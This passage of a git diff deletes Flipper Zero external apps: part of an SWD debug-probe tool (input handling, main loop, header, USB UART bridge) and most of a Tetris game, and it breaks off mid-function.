0xFFFFF000; - ctx->coresight_level = 0; - ctx->coresight_bases[ctx->coresight_level] = base; - ctx->coresight_pos[ctx->coresight_level] = 0; - ctx->coresight_count[ctx->coresight_level] = - adi_romtable_entry_count(ctx, base); - } else if(ctx->detected) { - if(ctx->mode_page + 1 < ModePageCount) { - ctx->mode_page++; - } - } - break; - - case InputKeyLeft: - if(ctx->mode_page == ModePageHexDump) { - if(ctx->hex_select < 7) { - ctx->hex_select++; - } - } else if(ctx->mode_page == ModePageCoresight) { - if(ctx->coresight_level > 0) { - ctx->coresight_level--; - } else { - ctx->mode_page = ModePageAPID; - } - } else if((ctx->mode_page == ModePageScan) || (ctx->mode_page == ModePageFound)) { - uint32_t mode_page = ctx->mode_page; - FuriString* result_path = furi_string_alloc_printf(ANY_PATH("swd_scripts")); - FuriString* preselected = furi_string_alloc_printf( - (strlen(ctx->script_detected) > 0) ? ctx->script_detected : - ANY_PATH("swd_scripts")); - DialogsFileBrowserOptions options; - - dialog_file_browser_set_basic_options(&options, "swd", &I_swd); - - if(dialog_file_browser_show(ctx->dialogs, result_path, preselected, &options)) { - const char* path = furi_string_get_cstr(result_path); - ctx->mode_page = ModePageScript; - swd_execute_script(ctx, path); - ctx->mode_page = mode_page; - } - - furi_string_free(result_path); - furi_string_free(preselected); - break; - } else { - if(ctx->mode_page > 0) { - ctx->mode_page--; - } - } - break; - - case InputKeyOk: - if(ctx->mode_page == ModePageAPID && ctx->apidr_info[ctx->ap_pos].ok) { - ctx->mode_page = ModePageHexDump; - } else if(ctx->mode_page == ModePageCoresight) { - uint32_t base = ctx->coresight_bases[ctx->coresight_level]; - - if(!adi_is_romtable(ctx, base)) { - break; - } - - uint32_t cur_pos = ctx->coresight_pos[ctx->coresight_level]; - uint32_t base_next = adi_romtable_get(ctx, base, cur_pos); - uint32_t new_count = adi_romtable_entry_count(ctx, base_next); - - ctx->coresight_level++; - ctx->coresight_pos[ctx->coresight_level] = 0; - ctx->coresight_count[ctx->coresight_level] = new_count; - ctx->coresight_bases[ctx->coresight_level] = base_next; - } - break; - - case InputKeyBack: - if(ctx->mode_page == ModePageHexDump) { - ctx->mode_page = ModePageAPID; - } else if(ctx->mode_page == ModePageScript) { - ctx->script->abort = true; - } else if(ctx->mode_page > ModePageFound) { - ctx->mode_page = ModePageScan; - } else if(ctx->mode_page == ModePageScan) { - processing = false; - } else if(ctx->mode_page == ModePageFound) { - processing = false; - } - break; - - default: - break; - } - } - } - return processing; -} - -size_t data_received(void* ctx, uint8_t* data, size_t length) { - AppFSM* app = (AppFSM*)ctx; - - strncpy(app->commandline->line_data, (const char*)data, length); - app->commandline->line_pos = 0; - - for(size_t pos = 0; pos < length; pos++) { - uint8_t ch = app->commandline->line_data[pos]; - - if((ch == '\r') || (ch == '\n')) { - app->commandline->line_data[pos++] = '\n'; - app->commandline->line_data[pos] = 0; - LOG("direct command '%s'", app->commandline->line_data); - swd_execute_script_line(app->commandline); - return pos; - } - } - - return 0; -} - -int32_t swd_probe_app_main(void* p) { - UNUSED(p); - - AppFSM* app = malloc(sizeof(AppFSM)); - - DBGS("App init"); - app_init(app); - - DBGS("furi_record_open"); - app->notification = furi_record_open(RECORD_NOTIFICATION); - app->gui = furi_record_open(RECORD_GUI); - app->dialogs = furi_record_open(RECORD_DIALOGS); - app->storage = furi_record_open(RECORD_STORAGE); - - DBGS("furi_mutex_alloc"); - app->swd_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - app->gui_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - app->event_queue = furi_message_queue_alloc(QUEUE_SIZE, sizeof(AppEvent)); - - DBGS("usb_uart_enable"); - UsbUartConfig uart_config; - uart_config.vcp_ch = 1; - uart_config.rx_data = &data_received; - uart_config.rx_data_ctx = app; - app->uart = usb_uart_enable(&uart_config); - - app->commandline = malloc(sizeof(ScriptContext)); - app->commandline->max_tries = 1; - app->commandline->app = app; - - DBGS("view_port_alloc"); - app->view_port = view_port_alloc(); - view_port_draw_callback_set(app->view_port, render_callback, app); - view_port_input_callback_set(app->view_port, input_callback, app); - gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen); - - DBGS("notification_message_block"); - notification_message(app->notification, &sequence_display_backlight_enforce_on); - - DBGS("swd_execute_script"); - swd_execute_script(app, ANY_PATH("swd_scripts/startup.swd")); - - dolphin_deed(DolphinDeedPluginGameStart); - - DBGS("processing"); - for(bool processing = true; processing;) { - swd_main_loop(app); - view_port_update(app->view_port); - - processing = swd_message_process(app); - - bool beep = false; - - if(app->detected_device && !app->detected_notified) { - app->detected_notified = true; - beep = true; - } - if(!app->detected_device && app->detected_notified) { - app->detected_notified = false; - } - if(beep) { - notification_message_block(app->notification, &seq_c_minor); - } - } - - view_port_enabled_set(app->view_port, false); - gui_remove_view_port(app->gui, app->view_port); - view_port_free(app->view_port); - - app_deinit(app); - - notification_message(app->notification, &sequence_display_backlight_enforce_auto); - - usb_uart_disable(app->uart); - - furi_message_queue_free(app->event_queue); - furi_mutex_free(app->gui_mutex); - furi_mutex_free(app->swd_mutex); - - // Reset GPIO pins to default state - for(int io = 0; io < 8; io++) { - furi_hal_gpio_init(gpios[io], GpioModeAnalog, GpioPullNo, GpioSpeedLow); - } - free(app); - - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - furi_record_close(RECORD_DIALOGS); - furi_record_close(RECORD_STORAGE); - - return 0; -} diff --git a/applications/external/swd_probe/swd_probe_app.h b/applications/external/swd_probe/swd_probe_app.h deleted file mode 100644 index 5a45a4fd9..000000000 --- a/applications/external/swd_probe/swd_probe_app.h +++ /dev/null @@ -1,244 +0,0 @@ -#ifndef __SWD_PROBE_APP_H -#define __SWD_PROBE_APP_H - -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "usb_uart.h" - -#define TAG "SWD" - -/* short debug message */ -#define DBGS(format) furi_log_print_format(FuriLogLevelDebug, TAG, "%s: " format, __FUNCTION__) -/* formatted debug message */ -#define DBG(format, ...) \ - furi_log_print_format(FuriLogLevelDebug, TAG, "%s: " format, __FUNCTION__, __VA_ARGS__) -/* log message*/ -#define LOG(...) furi_log_print_format(FuriLogLevelDefault, TAG, __VA_ARGS__) - -#define COUNT(x) ((size_t)(sizeof(x) / sizeof((x)[0]))) -#define ARRAY_SIZE(x) COUNT(x) - -#define SWD_DELAY_US 0 -#define TIMER_HZ 25 -#define TIMEOUT 3 -#define QUEUE_SIZE 8 -#define IDLE_BITS 8 -#define CLOCK_DELAY 0 - -#define MAX_FILE_LENGTH 128 -#define SCRIPT_MAX_LINES 1000 - -typedef enum { - ModePageScan = 0, - ModePageFound = 1, - ModePageDPRegs = 2, - ModePageDPID = 3, - ModePageAPID = 4, - ModePageCount = 5, - ModePageHexDump = 0x100, - ModePageScript = 0x101, - ModePageCoresight = 0x102, -} ModePages; - -#define CDBGPWRUPREQ (1 << 28) -#define CDBGPWRUPACK (1 << 29) -#define CSYSPWRUPREQ (1 << 30) -#define CSYSPWRUPACK (1 << 31) -#define WDATAERR (1 << 7) -#define STICKYERR (1 << 5) -#define STAT_ERROR_FLAGS (WDATAERR | STICKYERR) - -#define REG_IDCODE 0x00 -#define REG_CTRLSTAT 0x01 -#define REG_CTRLSTAT_BANK 0x00 -#define REG_DLCR 0x01 -#define REG_DLCR_BANK 0x01 -#define REG_TARGETID 0x01 -#define REG_TARGETID_BANK 0x02 -#define REG_DLPIDR 0x01 -#define REG_DLPIDR_BANK 0x03 -#define REG_EVENTSTAT 0x01 -#define REG_EVENTSTAT_BANK 0x04 - -#define REG_SELECT 0x02 - -#define MEMAP_CSW 0x00 -#define MEMAP_TAR 0x04 -#define MEMAP_DRW 0x0C -#define AP_IDR 0xFC -#define AP_BASE 0xF8 - -#define SCS_CPUID 0xE000ED00u -#define SCS_CPACR 0xE000ED88u -#define SCS_DHCSR 0xE000EDF0u -#define SCS_DHCSR_S_HALT (1u << 17) -#define SCS_DHCSR_C_MASKINTS (1u << 3) -#define SCS_DHCSR_C_STEP (1u << 2) -#define SCS_DHCSR_C_HALT (1u << 1) -#define SCS_DHCSR_C_DEBUGEN (1u << 0) -#define SCS_DHCSR_KEY 0xA05F0000u -#define SCS_DCRSR 0xE000EDF4u -#define SCS_DCRSR_RD 0x00000000u -#define SCS_DCRSR_WR 0x00010000u -#define SCS_DCRDR 0xE000EDF8u -#define SCS_DEMCR 0xE000EDFCu - -typedef enum { KeyNone, KeyUp, KeyRight, KeyDown, KeyLeft, KeyOK } KeyCode; - -typedef enum { - EventTimerTick, - EventKeyPress, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} AppEvent; - -typedef struct { - uint32_t ctrlstat; - bool ctrlstat_ok; - uint32_t dlcr; - bool dlcr_ok; - uint32_t dlpidr; - bool dlpidr_ok; - uint32_t dpidr; - bool dpidr_ok; - uint32_t eventstat; - bool eventstat_ok; - uint32_t select; - bool select_ok; - uint32_t targetid; - bool targetid_ok; -} swd_dpreg_t; - -typedef struct { - bool ok; - bool tested; - uint8_t revision; - uint16_t designer; - uint8_t class; - uint8_t variant; - uint8_t type; - uint32_t base; -} swd_apidr_info_t; - -typedef struct { - uint8_t revision; - uint8_t partno; - uint8_t version; - uint16_t designer; -} swd_dpidr_info_t; - -typedef struct { - uint8_t revision; - uint16_t partno; - uint16_t designer; -} swd_targetid_info_t; - -typedef struct sScriptContext ScriptContext; - -typedef struct { - Storage* storage; - Gui* gui; - DialogsApp* dialogs; - NotificationApp* notification; - - FuriTimer* timer; - UsbUart* uart; - ViewPort* view_port; - - FuriMessageQueue* event_queue; - FuriMutex* swd_mutex; - FuriMutex* gui_mutex; - - swd_targetid_info_t targetid_info; - swd_dpidr_info_t dpidr_info; - swd_dpreg_t dp_regs; - swd_apidr_info_t apidr_info[256]; - - ScriptContext* script; - ScriptContext* commandline; - - uint8_t timeout_overdue; - uint32_t loop_count; - uint8_t current_mask_id; - uint32_t current_mask; - uint8_t io_swc; - uint8_t io_swd; - uint8_t io_num_swc; - uint8_t io_num_swd; - int32_t detected_timeout; - uint32_t swd_clock_delay; - uint32_t swd_idle_bits; - bool detected; - bool detected_device; - bool detected_notified; - uint32_t mode_page; - uint8_t ap_pos; - uint8_t ap_scanned; - - uint32_t coresight_pos[16]; - uint32_t coresight_count[16]; - uint8_t coresight_level; - uint32_t coresight_bases[16]; - - uint32_t hex_addr; - uint8_t hex_select; - uint8_t hex_buffer[32]; - uint8_t hex_buffer_valid[8]; - - char state_string[64]; - char script_detected[MAX_FILE_LENGTH]; - bool script_detected_executed; -} AppFSM; - -struct sScriptContext { - AppFSM* app; - ScriptContext* parent; - char filename[MAX_FILE_LENGTH]; - - /* when used with string input */ - char line_data[128]; - uint64_t line_pos; - - /* when used with file input */ - File* script_file; - - uint64_t position; - uint32_t selected_ap; - uint32_t max_tries; - uint32_t block_size; - - bool abort; - bool restart; - bool errors_ignore; - bool status_ignore; - bool goto_active; - char goto_label[64]; -}; - -typedef struct { - const char* prefix; - bool (*func)(ScriptContext* ctx); -} ScriptFunctionInfo; - -uint8_t swd_read_memory(AppFSM* const ctx, uint8_t ap, uint32_t address, uint32_t* data); - -#endif \ No newline at end of file diff --git a/applications/external/swd_probe/usb_uart.c b/applications/external/swd_probe/usb_uart.c deleted file mode 100644 index 9674541ec..000000000 --- a/applications/external/swd_probe/usb_uart.c +++ /dev/null @@ -1,229 +0,0 @@ - -#include - -#include "usb_uart.h" -#include "furi_hal.h" -#include -#include "usb_cdc.h" -#include "cli/cli_vcp.h" -#include -#include "cli/cli.h" - -#define USB_CDC_PKT_LEN CDC_DATA_SZ -#define USB_UART_RX_BUF_SIZE (USB_CDC_PKT_LEN * 5) - -#define USB_CDC_BIT_DTR (1 << 0) -#define USB_CDC_BIT_RTS (1 << 1) - -typedef enum { - WorkerEvtStop = (1 << 0), - WorkerEvtCdcRx = (1 << 1), - WorkerEvtCfgChange = (1 << 2) - -} WorkerEvtFlags; - -#define WORKER_ALL_EVENTS (WorkerEvtStop | WorkerEvtCfgChange | WorkerEvtCdcRx) - -struct UsbUart { - UsbUartConfig cfg; - UsbUartConfig cfg_new; - - FuriThread* thread; - FuriMutex* usb_mutex; - FuriSemaphore* tx_sem; - UsbUartState st; - FuriApiLock cfg_lock; - - uint8_t rx_buf[USB_CDC_PKT_LEN]; -}; - -static void vcp_on_cdc_tx_complete(void* context); -static void vcp_on_cdc_rx(void* context); -static void vcp_state_callback(void* context, uint8_t state); -static void vcp_on_cdc_control_line(void* context, uint8_t state); -static void vcp_on_line_config(void* context, struct usb_cdc_line_coding* config); - -static const CdcCallbacks cdc_cb = { - .tx_ep_callback = &vcp_on_cdc_tx_complete, - .rx_ep_callback = &vcp_on_cdc_rx, - .state_callback = &vcp_state_callback, - .ctrl_line_callback = &vcp_on_cdc_control_line, - .config_callback = &vcp_on_line_config}; - -static void usb_uart_vcp_init(UsbUart* usb_uart, uint8_t vcp_ch) { - furi_hal_usb_unlock(); - - Cli* cli = furi_record_open(RECORD_CLI); - cli_session_close(cli); - - if(vcp_ch == 0) { - furi_check(furi_hal_usb_set_config(&usb_cdc_single, NULL) == true); - } else { - furi_check(furi_hal_usb_set_config(&usb_cdc_dual, NULL) == true); - cli_session_open(cli, &cli_vcp); - } - furi_record_close(RECORD_CLI); - furi_hal_cdc_set_callbacks(vcp_ch, (CdcCallbacks*)&cdc_cb, usb_uart); -} - -static void usb_uart_vcp_deinit(UsbUart* usb_uart, uint8_t vcp_ch) { - UNUSED(usb_uart); - furi_hal_cdc_set_callbacks(vcp_ch, NULL, NULL); - if(vcp_ch != 0) { - Cli* cli = furi_record_open(RECORD_CLI); - cli_session_close(cli); - furi_record_close(RECORD_CLI); - } -} - -bool usb_uart_tx_data(UsbUart* usb_uart, uint8_t* data, size_t length) { - uint32_t pos = 0; - while(pos < length) { - size_t pkt_size = length - pos; - - if(pkt_size > USB_CDC_PKT_LEN) { - pkt_size = USB_CDC_PKT_LEN; - } - - if(furi_semaphore_acquire(usb_uart->tx_sem, 100) != FuriStatusOk) { - return false; - } - if(furi_mutex_acquire(usb_uart->usb_mutex, 100) != FuriStatusOk) { - furi_semaphore_release(usb_uart->tx_sem); - return false; - } - furi_hal_cdc_send(usb_uart->cfg.vcp_ch, &data[pos], pkt_size); - furi_mutex_release(usb_uart->usb_mutex); - usb_uart->st.tx_cnt += pkt_size; - pos += pkt_size; - } - return true; -} - -static int32_t usb_uart_worker(void* context) { - UsbUart* usb_uart = (UsbUart*)context; - - memcpy(&usb_uart->cfg, &usb_uart->cfg_new, sizeof(UsbUartConfig)); - - usb_uart->tx_sem = furi_semaphore_alloc(1, 1); - usb_uart->usb_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - usb_uart_vcp_init(usb_uart, usb_uart->cfg.vcp_ch); - - uint8_t data[2 * USB_CDC_PKT_LEN]; - size_t remain = 0; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_ALL_EVENTS, FuriFlagWaitAny, FuriWaitForever); - furi_check(!(events & FuriFlagError)); - - if(events & WorkerEvtStop) { - break; - } - - if(events & WorkerEvtCdcRx) { - size_t len = 0; - if(furi_mutex_acquire(usb_uart->usb_mutex, 100) == FuriStatusOk) { - len = furi_hal_cdc_receive(usb_uart->cfg.vcp_ch, &data[remain], USB_CDC_PKT_LEN); - furi_mutex_release(usb_uart->usb_mutex); - } - - if(len > 0) { - usb_uart->st.rx_cnt += len; - remain += len; - - size_t handled = usb_uart->cfg.rx_data(usb_uart->cfg.rx_data_ctx, data, remain); - - memcpy(data, &data[handled], remain - handled); - remain -= handled; - } - } - - if(events & WorkerEvtCfgChange) { - if(usb_uart->cfg.vcp_ch != usb_uart->cfg_new.vcp_ch) { - usb_uart_vcp_deinit(usb_uart, usb_uart->cfg.vcp_ch); - usb_uart_vcp_init(usb_uart, usb_uart->cfg_new.vcp_ch); - - usb_uart->cfg.vcp_ch = usb_uart->cfg_new.vcp_ch; - } - api_lock_unlock(usb_uart->cfg_lock); - } - } - usb_uart_vcp_deinit(usb_uart, usb_uart->cfg.vcp_ch); - - furi_mutex_free(usb_uart->usb_mutex); - furi_semaphore_free(usb_uart->tx_sem); - - furi_hal_usb_unlock(); - furi_check(furi_hal_usb_set_config(&usb_cdc_single, NULL) == true); - Cli* cli = furi_record_open(RECORD_CLI); - cli_session_open(cli, &cli_vcp); - furi_record_close(RECORD_CLI); - - return 0; -} - -/* VCP callbacks */ -static void vcp_on_cdc_tx_complete(void* context) { - UsbUart* usb_uart = (UsbUart*)context; - furi_semaphore_release(usb_uart->tx_sem); -} - -static void vcp_on_cdc_rx(void* context) { - UsbUart* usb_uart = (UsbUart*)context; - furi_thread_flags_set(furi_thread_get_id(usb_uart->thread), WorkerEvtCdcRx); -} - -static void vcp_state_callback(void* context, uint8_t state) { - UNUSED(context); - UNUSED(state); -} - -static void vcp_on_cdc_control_line(void* context, uint8_t state) { - UNUSED(context); - UNUSED(state); -} - -static void vcp_on_line_config(void* context, struct usb_cdc_line_coding* config) { - UNUSED(context); - UNUSED(config); -} - -UsbUart* usb_uart_enable(UsbUartConfig* cfg) { - UsbUart* usb_uart = malloc(sizeof(UsbUart)); - memcpy(&(usb_uart->cfg_new), cfg, sizeof(UsbUartConfig)); - - usb_uart->thread = furi_thread_alloc_ex("UsbUartWorker", 1024, usb_uart_worker, usb_uart); - furi_thread_start(usb_uart->thread); - return usb_uart; -} - -void usb_uart_disable(UsbUart* usb_uart) { - furi_assert(usb_uart); - furi_thread_flags_set(furi_thread_get_id(usb_uart->thread), WorkerEvtStop); - furi_thread_join(usb_uart->thread); - furi_thread_free(usb_uart->thread); - free(usb_uart); -} - -void usb_uart_set_config(UsbUart* usb_uart, UsbUartConfig* cfg) { - furi_assert(usb_uart); - furi_assert(cfg); - usb_uart->cfg_lock = api_lock_alloc_locked(); - memcpy(&(usb_uart->cfg_new), cfg, sizeof(UsbUartConfig)); - furi_thread_flags_set(furi_thread_get_id(usb_uart->thread), WorkerEvtCfgChange); - api_lock_wait_unlock_and_free(usb_uart->cfg_lock); -} - -void usb_uart_get_config(UsbUart* usb_uart, UsbUartConfig* cfg) { - furi_assert(usb_uart); - furi_assert(cfg); - memcpy(cfg, &(usb_uart->cfg_new), sizeof(UsbUartConfig)); -} - -void usb_uart_get_state(UsbUart* usb_uart, UsbUartState* st) { - furi_assert(usb_uart); - furi_assert(st); - memcpy(st, &(usb_uart->st), sizeof(UsbUartState)); -} diff --git a/applications/external/swd_probe/usb_uart.h b/applications/external/swd_probe/usb_uart.h deleted file mode 100644 index 325a4db98..000000000 --- a/applications/external/swd_probe/usb_uart.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include -#include - -typedef struct UsbUart UsbUart; - -typedef struct { - uint8_t vcp_ch; - size_t (*rx_data)(void* ctx, uint8_t* data, size_t length); - void* rx_data_ctx; -} UsbUartConfig; - -typedef struct { - uint32_t rx_cnt; - uint32_t tx_cnt; -} UsbUartState; - -UsbUart* usb_uart_enable(UsbUartConfig* cfg); - -void usb_uart_disable(UsbUart* usb_uart); - -void usb_uart_set_config(UsbUart* usb_uart, UsbUartConfig* cfg); - -void usb_uart_get_config(UsbUart* usb_uart, UsbUartConfig* cfg); - -void usb_uart_get_state(UsbUart* usb_uart, UsbUartState* st); - -bool usb_uart_tx_data(UsbUart* usb_uart, uint8_t* data, size_t length); diff --git a/applications/external/tetris_game/application.fam b/applications/external/tetris_game/application.fam deleted file mode 100644 index c883f3919..000000000 --- a/applications/external/tetris_game/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="tetris", - name="Tetris", - apptype=FlipperAppType.EXTERNAL, - entry_point="tetris_game_app", - requires=["gui"], - stack_size=2 * 1024, - order=20, - fap_icon="tetris_10px.png", - fap_category="Games", - fap_author="@xMasterX & @jeffplang", - fap_version="1.0", - fap_description="Tetris Game", -) diff --git a/applications/external/tetris_game/tetris_10px.png b/applications/external/tetris_game/tetris_10px.png deleted file mode 100644 index e4886d835..000000000 Binary files a/applications/external/tetris_game/tetris_10px.png and /dev/null differ diff --git a/applications/external/tetris_game/tetris_game.c b/applications/external/tetris_game/tetris_game.c deleted file mode 100644 index 07534d725..000000000 --- a/applications/external/tetris_game/tetris_game.c +++ /dev/null @@ -1,480 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define BORDER_OFFSET 1 -#define MARGIN_OFFSET 3 -#define BLOCK_HEIGHT 6 -#define BLOCK_WIDTH 6 - -#define FIELD_WIDTH 11 -#define FIELD_HEIGHT 24 - -#define MAX_FALL_SPEED 500 -#define MIN_FALL_SPEED 100 - -typedef struct Point { - // Also used for offset data, which is sometimes negative - int8_t x, y; -} Point; - -// Rotation logic taken from -// https://www.youtube.com/watch?v=yIpk5TJ_uaI -typedef enum { OffsetTypeCommon, OffsetTypeI, OffsetTypeO } OffsetType; - -// Since we only support rotating clockwise, these are actual translation values, -// not values to be subtracted to get translation values - -static const Point rotOffsetTranslation[3][4][5] = { - {{{0, 0}, {-1, 0}, {-1, -1}, {0, 2}, {-1, 2}}, - {{0, 0}, {1, 0}, {1, 1}, {0, -2}, {1, -2}}, - {{0, 0}, {1, 0}, {1, -1}, {0, 2}, {1, 2}}, - {{0, 0}, {-1, 0}, {-1, 1}, {0, -2}, {-1, -2}}}, - {{{1, 0}, {-1, 0}, {2, 0}, {-1, 1}, {2, -2}}, - {{0, 1}, {-1, 1}, {2, 1}, {-1, -1}, {2, 2}}, - {{-1, 0}, {1, 0}, {-2, 0}, {1, -1}, {-2, 2}}, - {{0, -1}, {1, -1}, {-2, -1}, {1, 1}, {-2, -2}}}, - {{{0, -1}, {0, 0}, {0, 0}, {0, 0}, {0, 0}}, - {{1, 0}, {0, 0}, {0, 0}, {0, 0}, {0, 0}}, - {{0, 1}, {0, 0}, {0, 0}, {0, 0}, {0, 0}}, - {{-1, 0}, {0, 0}, {0, 0}, {0, 0}, {0, 0}}}}; - -typedef struct { - Point p[4]; - uint8_t rotIdx; - OffsetType offsetType; -} Piece; - -// Shapes @ spawn locations, rotation point first -static Piece shapes[] = { - {.p = {{5, 1}, {4, 0}, {5, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon}, // Z - {.p = {{5, 1}, {4, 1}, {5, 0}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon}, // S - {.p = {{5, 1}, {4, 1}, {6, 1}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon}, // L - {.p = {{5, 1}, {4, 0}, {4, 1}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon}, // J - {.p = {{5, 1}, {4, 1}, {5, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon}, // T - {.p = {{5, 1}, {4, 1}, {6, 1}, {7, 1}}, .rotIdx = 0, .offsetType = OffsetTypeI}, // I - {.p = {{5, 1}, {5, 0}, {6, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeO} // O -}; - -typedef enum { GameStatePlaying, GameStateGameOver } GameState; - -typedef struct { - bool playField[FIELD_HEIGHT][FIELD_WIDTH]; - Piece currPiece; - uint16_t numLines; - uint16_t fallSpeed; - GameState gameState; - FuriTimer* timer; - FuriMutex* mutex; -} TetrisState; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} TetrisEvent; - -static void tetris_game_draw_border(Canvas* const canvas) { - canvas_draw_line(canvas, 0, 0, 0, 127); - canvas_draw_line(canvas, 0, 127, 63, 127); - canvas_draw_line(canvas, 63, 127, 63, 0); - - canvas_draw_line(canvas, 2, 0, 2, 125); - canvas_draw_line(canvas, 2, 125, 61, 125); - canvas_draw_line(canvas, 61, 125, 61, 0); -} - -static void tetris_game_draw_playfield(Canvas* const canvas, const TetrisState* tetris_state) { - // Playfield: 11 x 24 - - for(int y = 0; y < FIELD_HEIGHT; y++) { - for(int x = 0; x < FIELD_WIDTH; x++) { - if(tetris_state->playField[y][x]) { - uint16_t xOffset = x * 5; - uint16_t yOffset = y * 5; - - canvas_draw_rframe( - canvas, - BORDER_OFFSET + MARGIN_OFFSET + xOffset, - BORDER_OFFSET + MARGIN_OFFSET + yOffset - 1, - BLOCK_WIDTH, - BLOCK_HEIGHT, - 1); - canvas_draw_dot( - canvas, - BORDER_OFFSET + MARGIN_OFFSET + xOffset + 2, - BORDER_OFFSET + MARGIN_OFFSET + yOffset + 1); - canvas_draw_dot( - canvas, - BORDER_OFFSET + MARGIN_OFFSET + xOffset + 3, - BORDER_OFFSET + MARGIN_OFFSET + yOffset + 1); - canvas_draw_dot( - canvas, - BORDER_OFFSET + MARGIN_OFFSET + xOffset + 2, - BORDER_OFFSET + MARGIN_OFFSET + yOffset + 2); - } - } - } -} - -static void tetris_game_render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const TetrisState* tetris_state = ctx; - furi_mutex_acquire(tetris_state->mutex, FuriWaitForever); - - tetris_game_draw_border(canvas); - tetris_game_draw_playfield(canvas, tetris_state); - - // Show score on the game field - if(tetris_state->gameState == GameStatePlaying) { - char buffer2[6]; - snprintf(buffer2, sizeof(buffer2), "%u", tetris_state->numLines); - canvas_draw_str_aligned(canvas, 58, 10, AlignRight, AlignBottom, buffer2); - } - - if(tetris_state->gameState == GameStateGameOver) { - // 128 x 64 - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 1, 52, 62, 24); - - canvas_set_color(canvas, ColorBlack); - canvas_draw_frame(canvas, 1, 52, 62, 24); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 4, 63, "Game Over"); - - char buffer[13]; - snprintf(buffer, sizeof(buffer), "Lines: %u", tetris_state->numLines); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 32, 73, AlignCenter, AlignBottom, buffer); - } - furi_mutex_release(tetris_state->mutex); -} - -static void tetris_game_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - TetrisEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void tetris_game_init_state(TetrisState* tetris_state) { - tetris_state->gameState = GameStatePlaying; - tetris_state->numLines = 0; - tetris_state->fallSpeed = MAX_FALL_SPEED; - memset(tetris_state->playField, 0, sizeof(tetris_state->playField)); - - memcpy(&tetris_state->currPiece, &shapes[rand() % 7], sizeof(tetris_state->currPiece)); - - furi_timer_start(tetris_state->timer, tetris_state->fallSpeed); -} - -static void tetris_game_remove_curr_piece(TetrisState* tetris_state) { - for(int i = 0; i < 4; i++) { - uint8_t x = tetris_state->currPiece.p[i].x; - uint8_t y = tetris_state->currPiece.p[i].y; - - tetris_state->playField[y][x] = false; - } -} - -static void tetris_game_render_curr_piece(TetrisState* tetris_state) { - for(int i = 0; i < 4; i++) { - uint8_t x = tetris_state->currPiece.p[i].x; - uint8_t y = tetris_state->currPiece.p[i].y; - - tetris_state->playField[y][x] = true; - } -} - -static void tetris_game_rotate_shape(Point currShape[], Point newShape[]) { - // Copy shape data - for(int i = 0; i < 4; i++) { - newShape[i] = currShape[i]; - } - - for(int i = 1; i < 4; i++) { - int8_t relX = currShape[i].x - currShape[0].x; - int8_t relY = currShape[i].y - currShape[0].y; - - // Matrix rotation thing - int8_t newRelX = (relX * 0) + (relY * -1); - int8_t newRelY = (relX * 1) + (relY * 0); - - newShape[i].x = currShape[0].x + newRelX; - newShape[i].y = currShape[0].y + newRelY; - } -} - -static void tetris_game_apply_kick(Point points[], Point kick) { - for(int i = 0; i < 4; i++) { - points[i].x += kick.x; - points[i].y += kick.y; - } -} - -static bool tetris_game_is_valid_pos(TetrisState* tetris_state, Point* shape) { - for(int i = 0; i < 4; i++) { - if(shape[i].x < 0 || shape[i].x > (FIELD_WIDTH - 1) || - tetris_state->playField[shape[i].y][shape[i].x] == true) { - return false; - } - } - return true; -} - -static void tetris_game_try_rotation(TetrisState* tetris_state, Piece* newPiece) { - uint8_t currRotIdx = tetris_state->currPiece.rotIdx; - - Point* rotatedShape = malloc(sizeof(Point) * 4); - Point* kickedShape = malloc(sizeof(Point) * 4); - - memcpy(rotatedShape, &tetris_state->currPiece.p, sizeof(tetris_state->currPiece.p)); - - tetris_game_rotate_shape(tetris_state->currPiece.p, rotatedShape); - - for(int i = 0; i < 5; i++) { - memcpy(kickedShape, rotatedShape, (sizeof(Point) * 4)); - tetris_game_apply_kick( - kickedShape, rotOffsetTranslation[newPiece->offsetType][currRotIdx][i]); - - if(tetris_game_is_valid_pos(tetris_state, kickedShape)) { - memcpy(&newPiece->p, kickedShape, sizeof(newPiece->p)); - newPiece->rotIdx = (newPiece->rotIdx + 1) % 4; - break; - } - } - free(rotatedShape); - free(kickedShape); -} - -static bool tetris_game_row_is_line(bool row[]) { - for(int i = 0; i < FIELD_WIDTH; i++) { - if(row[i] == false) return false; - } - return true; -} - -static void - tetris_game_check_for_lines(TetrisState* tetris_state, uint8_t* lines, uint8_t* numLines) { - for(int i = 0; i < FIELD_HEIGHT; i++) { - if(tetris_game_row_is_line(tetris_state->playField[i])) { - *(lines++) = i; - *numLines += 1; - } - } -} - -static bool tetris_game_piece_at_bottom(TetrisState* tetris_state, Piece* newPiece) { - for(int i = 0; i < 4; i++) { - Point* pos = (Point*)&newPiece->p; - if(pos[i].y >= FIELD_HEIGHT || tetris_state->playField[pos[i].y][pos[i].x] == true) { - return true; - } - } - return false; -} - -static void tetris_game_update_timer_callback(FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - TetrisEvent event = {.type = EventTypeTick}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void - 